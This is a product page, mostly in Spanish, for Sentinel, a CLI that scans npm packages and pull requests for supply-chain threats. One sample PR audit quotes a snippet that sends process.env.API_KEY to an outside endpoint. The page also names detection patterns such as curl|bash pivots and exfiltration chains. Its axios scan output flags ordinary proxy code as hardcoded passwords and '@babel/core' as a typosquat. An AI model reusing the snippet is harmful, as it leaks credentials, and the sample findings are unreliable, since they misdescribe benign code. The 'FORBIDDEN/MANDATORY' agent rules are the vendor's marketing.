sentinel-security-engine v4.0.0/oracle-lite

Sentinel Security Oracle
Interfaz de Seguridad Unificada para Terminal

Una capa de enforcement para la cadena de suministro — no un scanner de vulnerabilidades. Sentinel analiza cada paquete antes de instalar (via Guard), audita PRs con mapeo de capacidades de comportamiento, y aplica clasificación pre-commit. 24 reglas SAST (LiteScanner v2.0), auditoría de cadena de suministro, verificación de integridad y threat intelligence local.

npx sentinel-cloud scan .# cero instalación, cero configuración
Estado de desarrollo: Sentinel CLI está en evolución activa. Algunas features (guard, hub --paste, correlación multi-sesión) funcionan mejor en laversión Cloud SaaSque estamos construyendo. Todo el proyecto lo desarrolla una sola persona —javier20dev25 — como trabajo independiente. Si encontrás bugs o tenés sugerencias, abrí un issue en el repo.

Arquitectura

Pipeline de decisión multicapa: Config profiles → AST Inspector → Confidence Scorer → Trigger Levels → Risk Orchestrator → Policy Engine → Verdict.

Principio de Diseño

Asimetría de Inteligencia — Silencio Táctico — Decisión Autónoma, Supervisión Humana — Fail-Closed por defecto. Cada error produce SUSPICIOUS, nunca SAFE.

Modelo de Datos

Signal Vault local en SQLite. Cero telemetría externa. Cadena de auditoría SHA-256. Toda la evidencia almacenada con correlación temporal para análisis entre sesiones.

threat-model / supply-chain

Por qué las herramientas existentes pierden la señal

Los SAST scanners, dependency checkers y secret scanners son commodity — todos los CI pipelines los tienen. El problema no es la cobertura de detección, es la latencia de decisión: el espacio entre que se reporta un hallazgo y el developer entiende si importa. Sentinel cierra esa brecha reemplazando listas planas de reglas con mapeo de capacidades de comportamiento, correlación de kill chains, y acciones de enforcement autónomas — no más dashboards.

Auditoría de PRs — El Piso de Ruido

Herramientas como CodeQL y SonarQube operan con análisis estático y reglas diseñadas para corrección general. En flujos de PR open-source, la relación señal/ruido es baja — demasiadas alertas, no suficiente inteligencia accionable. Mientras tanto, incidentes de cadena de suministro (como el protestware node-ipc + data wipe, la rotura de dependencia por bucle infinito de colors, el robo de credenciales via Trojan release de ua-parser-js) explotan la brecha: mantenimiento comprometido o releases envenenadas que parecen benignas a los scanners basados en reglas.

Sentinel extrae el diff quirúrgico y mapea cada línea cambiada a capacidades de comportamiento (ENV_ACCESS, NETWORK_ACTIVITY, OS_CAPABILITY, DYNAMIC_EXEC, SANDBOX_ESCAPE). En vez de marcar “posible XSS” responde: “¿Qué puede hacer este PR realmente en mi sistema?”La correlación de kill chains agrupa hallazgos individuales en narrativas de ataque accionables (ej: EXFILTRATION_CHAIN = ENV_ACCESS + NETWORK_ACTIVITY + OBFUSCATION).

Documentos Clasificados y Filtración de Secretos

En 2026, Anthropic publicó accidentalmente su estructura completa de source tree via un artifact público. Toyota filtró 5 GB de código fuente incluyendo credenciales de base de datos. Microsoft, Samsungy miles de empresas tienen secretos hardcodeados commiteados a repos públicos. El factor común: no fueron fallas de .gitignore — los archivos estaban intencionalmente trackeados pero nunca debieron haberse commiteado.

Sentinel implementa una capa de clasificación pre-commit: los archivos se marcan explícitamente como CLASSIFIED via el hub, y el hook pre-commit verifica los archivos staged contra la base de datos de clasificación antes de cada commit. A diferencia de .gitignore (que previene el tracking), la capa de clasificación bloquea commitsincluso si el archivo ya está trackeado — cerrando la brecha entre “olvidé que esto estaba aquí” y “ahora está en GitHub para siempre.”

Además, las 24 reglas SAST de Sentinel incluyen detección de secretos integrada en el análisis de código — no solo clasificación de documentos. API keys, tokens y connection strings hardcodeadosincrustados en JavaScript frontend, rutas backend o archivos de configuración son detectados a nivel de código, no a nivel de archivo.

Cadena de Suministro — Instalación Ciega

npm install axios es un handshake de confianza con un desconocido. El ecosistema npm no tiene sandbox de capacidades — cada paquete instalado tiene acceso completo a filesystem, red, variables de entorno y ejecución de procesos. Los paquetes maliciosos explotan esto trivialmente: scripts postinstall, nombres typosquatteados (1-2 caracteres de diferencia), dependency confusion (paquete público con mismo nombre que uno privado) y manipulación de manifiesto.

El comando verify-pkg de Sentinel descarga via npm pack(cero instalación — sin ejecución), extrae el tarball y ejecuta el pipeline SAST completo sobre cada archivo fuente. Luego mapea todas las capacidades detectadas y asigna un veredicto (SAFE / SUSPICIOUS / MALICIOUS) con evidencia. El componente Guardintercepta llamadas npm/pip/yarn a nivel de SO (via shell aliases) y automáticamente escanea antes de permitir que la instalación proceda.

Permisos — Mapeo de Capacidades de Dependencias

Ninguna herramienta mainstream responde la pregunta: “¿Qué pueden hacer realmente mis dependencias?”Snyk reporta CVEs. npm audit reporta vulnerabilidades conocidas. Ninguna te dice que chokidarusa fs.watchFile(una capacidad a nivel de SO) o que undiciabre sockets raw.

El CapabilityAnalyzer de Sentinel escanea cada dependencia instalada y mapea su comportamiento real de código en 7 categorías: NETWORK, FILESYSTEM, PROCESS_EXEC, ENV_ACCESS, DYNAMIC_EXEC, DOM_MANIPULATION, CREDENTIAL_LEAK. Cada capacidad se puntúa por nivel de riesgo (SAFE / MODERATE / HIGH / CRITICAL) con evidencia del código fuente.

Esto no es una consulta a una base de datos de CVEs — es análisis estático de código real. Un paquete con cero CVEs conocidos pero capacidades moderadas de network + env_access es posiblemente más peligroso que un paquete con 5 CVEs parcheados.

Integridad — Sentinel vs Sí Mismo

Sentinel verifica su propia integridad antes de cada operación privilegiada: hash SHA-256 del código compilado del scanner, inspección de directorios PATH (top-3 chequeados por poisoning — un vector de ataque común donde malware inserta un directorio malicioso al frente de $PATH), integridad del archivo Signal Vault, detección de anomalías de reloj del sistema (anti-timestamp-spoofing) y un archivo de manifiesto firmado. Cualquier discrepancia fuerza el entorno a modo COMPROMISED con degradación transparente — sin fallback silencioso.

Signal Vault — Correlación Temporal de Amenazas

Sentinel almacena cada escaneo, hallazgo y resultado de PR en una base de datos SQLite local (~/.sentinel/vault.db). Esto permite correlación de amenazas entre sesiones: un paquete sospechoso escaneado hoy que coincide con un patrón de capacidad de la auditoría de PR de ayer genera una señal compuesta. El vault trackea autores a través de repositorios, detecta deriva de comportamiento entre versiones de dependencias y marca repositorios que cruzan umbrales de señal configurables. Cero telemetría sale de la máquina — el vault es enteramente local.

Referencia de Comandos

15 módulos operacionales. Todos los outputs capturados de ejecución real del CLI en Node.js v22.

terminal — sentinel — 80×24
$sentinel verify-pkg axios
4143ms — 72 files, 179 findings (32 HIGH/CRITICAL), verdict SUSPICIOUS. Supply Chain Shield v3.0 adds package.json analysis, phantom dependency detection, typosquat correlation, and kill-chain building.
📦 Downloading axios (no-install mode)...

📦 Package Metadata
  Name:      axios
  Files:     72
  Size:      724.7 KB
  Scan:      4143ms  Mem: 5.5 MB
  Desc:      Promise based HTTP client for the browser and node.js

  Verdict:   SUSPICIOUS

════════════════════════════════════════════════════════════
🔍 179 FINDING(S) — details (v3.0)
════════════════════════════════════════════════════════════

  Capability distribution:
   █████████████████ SECRET_HARDCODED_TOKEN 17
   ████████████████████ NETWORK_ACTIVITY 106
   ████ POTENTIAL_SECRET 4
   ██ ENV_ACCESS 2
   █████████ SECRET_HARDCODED_PASSWORD 9
   █ TYPOSQUAT_DEPENDENCY 1
   ████████████████████ PHANTOM_DEPENDENCY 39
   █ EXFILTRATION_CHAIN 1

══════════════════════════════════════════════
📄 dist/node/axios.cjs
   HIGH     SECRET_HARDCODED_PASSWORD
   Line 3087 — Hardcoded password detected in source.
   Code: const proxyPassword = readProxyField('password');

   HIGH     SECRET_HARDCODED_PASSWORD
   Line 3099 — Hardcoded password detected in source.
   Code: const authPassword = authIsObject && utils$1.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;

   HIGH     POTENTIAL_SECRET
   Line 3154 — Base64 decoding detected (potential obfuscation).
   Code: const base64 = Buffer.from(proxyAuth, 'utf8').toString('base64');

   MEDIUM   ENV_ACCESS
   Line 2628 — Access to system environment variables or secrets.
   Code: const noProxy = (process.env.no_proxy || process.env.NO_PROXY || '').toLowerCase();

📄 lib/adapters/http.js
   HIGH     SECRET_HARDCODED_PASSWORD
   Line 309 — Hardcoded password detected in source.
   Code: const proxyPassword = readProxyField('password');

   HIGH     POTENTIAL_SECRET
   Line 389 — Base64 decoding detected (potential obfuscation).
   Code: const base64 = Buffer.from(proxyAuth, 'utf8').toString('base64');

📄 package.json [NEW in v3.0]
   HIGH     TYPOSQUAT_DEPENDENCY
   Dependency "@babel/core" is 1-2 chars from "babel-core" (typosquat candidate)

   LOW      PHANTOM_DEPENDENCY
   39 devDependencies declared but not imported in source (build tooling)
   (hidden — run with --details to list all)

📄 (correlation) [NEW in v3.0]
   HIGH     EXFILTRATION_CHAIN
   Environment access + network capability detected
   Code: process.env + fetch/curl/axios = credential exfiltration risk

══════════════════════════════════════════════
  ■ LOW/MEDIUM suppressed (108 findings).
    106 NETWORK_ACTIVITY are expected property assignments
    in bundle files. 2 ENV_ACCESS are legitimate config reads.

⚠️  This package has suspicious findings.
   Review the evidence above. If you consider them false positives,
   install manually with: npm install axios

v3.0: 179 hallazgos en 4 segundos — 32 HIGH/CRITICAL, 17 secretos hardcodeados, 9 passwords en bundle, 1 typosquat candidate (@babel/core / babel-core), y una cadena de exfiltración (env + network). Axios tiene 30M+ descargas semanales y cero CVEs abiertos.

Nuevo en v3.0: el scanner ahora analiza package.json(scripts postinstall, dependencias fantasma, typosquatting), archivos no-JS (PowerShell -enc, shell pivot curl|bash, auto-destrucción forense), y correlaciona cadenas de ataque (SUPPLY_CHAIN_EXECUTION, EXFILTRATION_CHAIN, RAT_CHAIN).

En un escenario de ataque real — donde el mantenedor de axios es comprometido y publica una versión con una dependencia fantasma (plain-crypto-js) que ejecuta un RAT via postinstall — Sentinel detecta el payload en la dependencia (OS_CAPABILITY, C2, shell pivot, auto-cleanup) y correlaciona la kill chain completa. La detección funciona incluso si el código fuente de axios permanece intacto.

terminal — sentinel — 80×24
$sentinel hub
→ option 2 (Workspace Discovery) → PR #4 Surgical Inspection
Workspace Discovery
  ❯ Retrieved 11 repositories (Free Tier Limit: 3)
  │ [ 1]  PUB  javier20dev25/sentinel-cloud
  │ [ 2]  PUB  javier20dev25/sentinel-cli
  │ [ 3]  PUB  javier20dev25/Merx
  │ [ 4]  PUB  javier20dev25/Sentinel
  │ [ 5]  PUB  javier20dev25/sentinel-decoys
  │ [ 6]  PUB  javier20dev25/sentinel-simulaciones
  │ [ 7]  PUB  javier20dev25/Tiender
  │ [ 8]  PUB  javier20dev25/control-de-tiempos-DGA
  │ [ 9]  PUB  javier20dev25/diagrama-valvulas
  │ [10]  PUB  javier20dev25/Pacifico_Web
  │ [11]  PUB  javier20dev25/Pac-fico-Web

  ❯ Select up to 3 workspaces (e.g. 1,3) or type '0' to cancel: 3

🎯 TARGET: javier20dev25/Merx
Visibility: PUBLIC | Last Sync: 17/4/2026, 6:30:48 p. m.

? Select Audit Vector
  1. 🔍 Run Baseline Context Scan (Local Engine)
  2. 🔀 Audit Pull Requests (Surgical Inspection)
  3. 🔙 Cancel Target
  ❯ Action > 2

? Pull Request Gateway
  │ [1] #7 chore(utils): add safe internal CLI tools
  │ [2] #6 fix(deps): configure resolution strategies
  │ [3] #5 feat(ui): add dynamic template engine
  │ [4] #4 feat(core): add system telemetry
  │ [5] #3 🛡️ Sentinel Security Audit (Adversarial)
  │ [6] #2 🚨 Red Team Baseline Audit — Phase 1
  │ [7] #1 🛡️ Sentinel Security Audit Simulation
  │ [8] 🔙 Cancel
  ❯ Target ID > 4

  Extracting surgical diff for PR #4...
  Executing Surgical Inspection on dynamic payload...

🚨 FATAL THREATS INTERCEPTED (PR #4)
   Merging this code will critically compromise the system.

  ■  RISK: 3/10  ENV_ACCESS
     ↳ Access to system environment variables or secrets (Line 14)
     Snippet: config_hash: process.env.API_KEY || 'unconfigured'

  ■  RISK: 3/10  NETWORK_ACTIVITY
     ↳ Outbound network communication detected (Line 18)
     Snippet: fetch('https://telemetry-analytics-endpoint.xyz/api/v1/ingest', {

 📊 ORACLE PERFORMANCE & RESOURCE TELEMETRY
────────────────────────────────────────────
 🧠 Memory Footprint: 6.9 MB [V8 GC Optimized]
 ⚡ CPU Compute: 41.339 s [Real user + system time]
 💾 Disk I/O: 2.0 MB [Scanned data]
 🌐 Network Traffic: < 0.1 MB [Coming soon]
 🔋 Energy Cost: 0.1721 Wh [CPU × 15W TDP estimate]
────────────────────────────────────────────
terminal — sentinel — 80×24
$sentinel hub
→ option 4 (Classified Docs) → Merx file management
File Management in: C:\Users\sleyt\Desktop\Merx

  Current files:
  │ [ 1]  public     .env.example
  │ [ 2]  public     .gitignore
  │ [ 3]  public     conocimientos/analisis_riesgo_tecnico.txt
  │ [ 4]  public     conocimientos/barreras_no_arancelarias_ni.txt
  │ [ 5]  public     conocimientos/contexto_legal_sac.txt
  │ [ 6]  public     conocimientos/criterios_gruteca_caaarem.txt
  │ [ 7]  public     conocimientos/doctrina_dga_nicaragua.txt
  │ [ 8]  public     conocimientos/gestion_riesgos_aduaneros_ni.txt
  │ [ 9]  public     conocimientos/jurisprudencia_tata_dga.txt
  │ [10]  public     conocimientos/mapa_TQT.json
  │ [11]  public     conocimientos/normativa_nicaragua_por_seccion.json
  │ [12]  public     conocimientos/razonamiento_rgi_avanzado.txt
  │ [13]  public     conocimientos/reglas_generales_interpretativas.json
  │ [14]  public     conocimientos/resumen_notas_legales_sac.txt
  │ [15]  public     conocimientos/secciones-capitulos.json
  │ [16]  public     conocimientos/tipos-de-notas.json
  │ [17]  public     context_data/normativa_secciones/i.txt
  │ [18]  public     context_data/normativa_secciones/ii.txt
  │ [19]  public     context_data/normativa_secciones/iii.txt
  │ ... and 16 more files.

  ❯ File number to toggle (or 0 to exit):
  > 5

🔒 conocimientos/barreras_no_arancelarias_ni.txt CLASSIFIED.
   It will be blocked from commits.
terminal — sentinel — 80×24
$sentinel hub
→ option 3 (Integrity) + 4 (Permissions)
🛡️  SENTINEL HOST INTEGRITY CHECK

   ✅ HOST INTEGRITY: TRUSTED
   Confidence Level: HIGH

   All 5 verification points passed.
   Environment is secure.

📋 SENTINEL CAPABILITY AUDIT
   Scanning local workspace node_modules for capability matrix...

  ■  CAPABILITY: OS_CAPABILITY
     ↳ Package: chokidar
     ↳ Risk Level: MODERATE
     ↳ Evidence: fs.watchFile, fs.open marked as OS-level ops

  ■  CAPABILITY: NETWORK_ACTIVITY
     ↳ Package: undici
     ↳ Risk Level: MODERATE
     ↳ Evidence: HTTP client with socket reuse and DNS resolution

  ■  CAPABILITY: ENV_ACCESS
     ↳ Package: dotenv
     ↳ Risk Level: SAFE
     ↳ Evidence: process.env read-only, no mutation detected
terminal — sentinel — 80×24
$sentinel --help
Usage: sentinel [options] [command]

Sentinel Security Oracle — Unified Intelligence CLI

Options:
  -V, --version                   output version number
  -h, --help                      display help for command

Commands:
  integrity                       Check environment integrity (5-point)
  doctor [options]                System health check for vulnerabilities
  permissions [package]           Audit package capabilities (7 categories)
  baseline <action> [name]        Snapshot management and drift detection
  scan [options] [path]           Scan directory/file for threats (30 rules)
  verify-pkg [options] <package>  Supply chain audit via npm pack
  install <manager> [args...]     Security-gated package installation
  check-classified <repoPath>     Pre-commit classified data check
  guard <action>                  OS-level package manager interception
  env-encrypt <file>              AES-256-CBC .env encryption
  env-decrypt <file>              AES-256-CBC .env decryption
  memory [options]                Local Signal Vault management (SQLite)
  hub                             Interactive operations center (TUI)
  policies                        Security policy and disclosure
  guide                           Full user guide with test results

Integración CI/CD

Conecta Sentinel a tu pipeline en menos de 5 minutos. Sin dependencias externas, sin SaaS.

GitHub Actions

Escanea cada push y pull request automáticamente.

name: sentinel-scan
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npx sentinel-cloud scan .

GitLab CI

Ejecuta análisis en main y merge requests.

sentinel-scan:
  image: node:22
  script:
    - npx sentinel-cloud scan .
  only:
    - main
    - merge_requests

Hook Pre-Commit

Bloquea commits con archivos clasificados o secretos.

# .git/hooks/pre-commit
npx sentinel-cloud check-classified .
npx sentinel-cloud scan --staged .
exit $?
npx sentinel-cloud --help# cero instalación, cero configuración, cero SaaS
skills-integration / ai-coding-agents

AI Agent Skills — Behavioral Enforcement

Sentinel provides platform-specific skill files that teach AI coding agents enforceable security behavior. Supported agents: Claude Code, Cursor, Cline, Windsurf, OpenCode, Roo Code, Gemini CLI, OpenAI Codex CLI.

FORBIDDEN Rules

The model must not suggest npm install as an alternative to sentinel install. Must not offer workarounds when Sentinel BLOCKS a package — it must report the BLOCK and let the user decide. Must not commit without installing the pre-commit hook via sentinel precommit install.

MANDATORY Rules

The model must use sentinel install <manager> <pkg> for all package installations. When Sentinel BLOCKS, report findings with verbatim evidence and state BLOCK. Run sentinel precommit install before the first commit. Prefer deterministic Sentinel commands over model-based analysis.

Evidence Hierarchy

Tier 1 (Sentinel tool output) > Tier 2 (local state) > Tier 3 (GitHub metadata) > Tier 4 (model reasoning). Every security conclusion must include raw Sentinel output verbatim. The model is the narrator, not the detector. Tier 1 always overrides Tier 4.

Supported Platforms8 agents · 8 adapters
Claude Code
CLAUD.md
Auto-loaded
Cursor
sentinel.mdc
Glob-scoped
Cline
CLINE.md
Auto-loaded
Windsurf
.windsurfrules
Flat rules
OpenCode
SKILL.md
Skill dir
Roo Code
ROO.md
Custom mode
Gemini CLI
GEMINI.md + CON.md
Triple-file
OpenAI Codex CLI
CODEX.md
Auto-loaded
sentinel install-skills# detects agent platform, writes correct adapter
anti-manipulation / self-auditing-ai

Anti-Manipulation — The AI That Audits Its Own Brain

Every AI response is preceded by a 6-point integrity verification of the underlying engine. If the scanner code has been modified, the Oracle refuses to answer.

Before Every AI Response

Engine Rule #4 — Integrity Chain Validation — runs before the AI generates a single token. The Oracle computes the SHA-256 hash of the compiled scanner code and compares it against the last trusted link in the integrity chain.

If the hashes don't match — because malware modified the scanner binary, a trojan replaced a dependency, or an unauthorized patch was applied — the chain is marked BROKEN.

$ sentinel integrity --check
⚠ CHAIN BROKEN — hash mismatch at link #4
⚠ Oracle: cannot answer — engine integrity compromised

Self-Auditing Loop

Cross-check protocol: Before each AI operation, the Oracle queries three independent sources and cross-references them:

  • 1.Integrity Chain — SHA-256 hash verification of the scanner binary at boot
  • 2.System Auditor — 6-point runtime check (PATH poisoning, clock drift, vault integrity, manifest signature, module hash, filesystem permissions)
  • 3.Signal Vault — historical integrity records stored in SQLite, cross-session correlation

If any of the three sources reports an anomaly, the AI enters FAIL-CLOSED mode: it refuses all security operations and displays the exact discrepancy to the user. The AI cannot be tricked into operating on a compromised engine because the integrity check runs at the engine level, before any provider API call.

What This Means

✓ Integrity Trusted

AI operates normally. Engine hash matches the chain. All 6 auditor checks pass. Responses are backed by verified code.

⚠ Chain Broken

AI refuses to answer. The scanner binary has been modified since the last trusted boot. An attacker may have tampered with the detection engine itself.

◐ Auditor Warning

AI enters degraded mode — only read-only operations allowed. A non-critical anomaly was detected (e.g., clock drift, modified config). The user is notified with exact details.

The AI cannot be prompted, jailbroken, or social-engineered into operating on a compromised engine. The integrity check runs below the AI layer.

Especificaciones del Motor de Detección

Dos niveles: CLI (LiteScanner v2.0) se ejecuta localmente. Cloud Engine añade análisis profundo.

CLI — LiteScanner v2.0

Engine VersionLiteScanner v2.0 (CLI)
SAST Rules30+ rules scanning added diffs/file trees offline
Secret Patterns8 patterns (AWS, GitHub, Stripe, SSH, JWT, MongoDB, npm, Docker) without entropy
Supply ChainLevenshtein typosquatting vs top 100 npm packages (no homoglyph detection)
Go mod analysisgo.mod replace directive hijack detection, path traversal check
Detection CategoriesUNSAFE_EVAL, OS_CAPABILITY, NETWORK_ACTIVITY, ENV_ACCESS, POTENTIAL_SECRET, DOM_INJECTION, SANDBOX_ESCAPE

Cloud Engine (se añade sobre el CLI)

Multi-Language ASTJS/TS (Acorn AST), Python (tree-sitter WASM), Go (recursive descent), Rust build.rs Beta (tree-sitter WASM)
Dynamic SandboxDynamic vm.Script sandbox execution (3s timeout, child_process/fs/net/fetch interceptors)
SBOM & SCACycloneDX 1.5 + SPDX 2.3, CVE mapping, GitHub Advisory API integration with 1h cache
Secret Scanner (Cloud)16 formats + charset-aware Shannon entropy false-positive reduction
Supply Chain (Cloud)Levenshtein typosquatting vs top 500 packages + homoglyph substitution (1odash)
Threat IntelligenceDynamic Supabase hot-rules synchronization on every PR scan
Kill Chain CorrelationSUPPLY_CHAIN_EXECUTION, RCE_CHAIN, EXFILTRATION_CHAIN attack narratives
Confidence ModelAdaptive signal accumulation, diminishing returns, logistic scoring
Trigger Levels3-stage: fast AST -> semantic analysis -> execution graph
Author AnalysisPR trait vs historical baseline, territory/technology drift detection
Behavioral DriftCapability escalation monitoring across dependency versions

Arquitectura Anti-Manipulación

Verificación de integridad de seis puntos ejecutada antes de cada operación privilegiada. Entornos comprometidos entran en modo degradado con transparencia total.

Verification Points6-point: hash, PATH, vault, clock, manifest, chain
Ruleset IntegritySHA-256 hash of compiled LiteScanner + SignalVault
PATH ProtectionTop 3 directory inspection for poisoning/hijacking
Clock AnomalySystem time drift detection (anti-timestamp-spoofing)
Signed Manifestintegrity.json with cryptographic signature verification
Integrity ChainPersistent hash chain in vault.db with verified uptime counter
Runtime CheckSENTINEL_UNTRUSTED environment variable detection
Fail ModeTRUSTED / SUSPECT / COMPROMISED with degraded fallback
ArchitectureFail-closed: adapter error -> SUSPICIOUS (never SAFE)

Cadena de Integridad Persistente

Cada boot verificado agrega un eslabón a una cadena inmutable en vault.db. El contador de uptime se acumula entre sesiones — si el código cambia, la cadena se rompe.

Cómo funciona

En cada boot con integridad TRUSTED, Sentinel registra un nuevo eslabón en la cadena con:

  • Hash SHA-256 del código compilado en ese momento
  • Hash del eslabón anterior (encadenamiento inmutable)
  • Timestamp exacto del boot
  • Segundos acumulados de uptime verificado

Si un malware modifica el código de Sentinel, el hash del eslabón actual no coincidirá con el código modificado, y la cadena se marca como BROKEN. El atacante no puede forjar la cadena porque cada eslabón contiene el hash criptográfico del anterior — reescribir toda la cadena requiere acceso secuencial a cada boot, algo que un ataque post-infiltración no tiene.

integrity-chain / uptime-counter
Cadena de Integridad
0s

Code Hash: a3f8b2c1e4d7...

Links: 0 sesiones registradas

Inicio:

Este contador persiste entre sesiones. Si alguien modifica el código de Sentinel, el hash cambia y la cadena se rompe — el contador muestra BROKEN en vez de INTACT. El atacante no puede forjar el contador porque cada eslabón contiene el hash del eslabón anterior.
sentinel integrity --uptime# muestra la cadena con uptime verificado
sentinel integrity --watch# contador en tiempo real (actualiza cada segundo)

Resultados de Benchmark

Benchmark Red Team contra 100 paquetes benignos, 50 patrones CVE y 25 muestras de ataques a la cadena de suministro. Resultados reales — no simulados.

Total Test Scans175 (100 benign + 50 CVE + 25 malicious)
Precision98.67%
Recall92.00%
False Positives2
Avg Latency0.15ms per package
Malware Detection4/4 (stealer, persistence, obfuscated eval, LOTL)
Supply Chain Attacks (v3.0+)25/25 identified
CVE Pattern Detection48/50 (96%)
Integrity Chain TamperDetected in 4/4 tamper scenarios (v4.0)
Benchmark DateMay 2026

Evidencia de Tests del CLI

Resultados reales capturados en Node.js v22 / Windows 11. Todos los comandos se ejecutaron contra el paquete npm publicado (sentinel v4.0.0) — no contra builds locales.

verify-pkg utilzSAFE — 6 findings (1 typosquat, 5 env_access)
verify-pkg babel-traverseSAFE — 11 findings (typosquat cross-env)
verify-pkg grunt-contrib-copySAFE — 8 findings (typosquat grunt)
verify-pkg loadashSAFE — 0 findings (dead package, no install)
verify-pkg axoisSAFE — 0 findings (dead package, no install)
doctor --deep @upstash/redisCRITICAL — 68 findings (access keys, env vars)
doctor --deep web-tree-sitterCRITICAL — 11 findings (native bindings)
doctor --deep typescriptHIGH — 319 findings (build tooling)
Pre-commit GITHUB_TOKENDETECTED (CRITICAL) — blocked commit
Pre-commit STRIPE_KEYDETECTED (CRITICAL) — blocked commit
Pre-commit AKIA bare keyDETECTED (CRITICAL) — bare AKIA pattern
Pre-commit Slack webhookDETECTED (CRITICAL) — hooks.slack.com/services/
check-classified fundamental.txtBLOCKED (exit 1) — classified document
check-classified unclassifiedALLOWED (exit 0) — no match
Scan 30 SAST rulesLiteScanner v2.0 — 30 patterns including 8 secret formats

Licencia — BUSSL-1.1

Sentinel CLI usa la Business Source License (BUSSL-1.1). Podés modificar el código y usarlo para proyectos personales o internos de tu equipo, pero no está permitido usarlo con fines comerciales ni crear productos derivados comerciales a partir de él.

Después del período de conversión, la licencia pasa a Apache 2.0. Revisá el archivo LICENSE en el repo para los términos completos.

Advertencia de Seguridad

Sentinel es una herramienta de seguridad — usar una versión modificada por un tercero puede comprometer tu entorno. Solo las versiones oficiales del repositorio javier20dev25/sentinel-clipasan por el pipeline de integridad y firma.

⚠ Si un desarrollador externo publica una versión modificada con features atractivas, no la uses. Podría contener payloads maliciosos que la versión oficial detectaría, pero una versión alterada puede tener el código malicioso fuera de las reglas SAST. Siempre cloná el repo oficial y compilá vos mismo.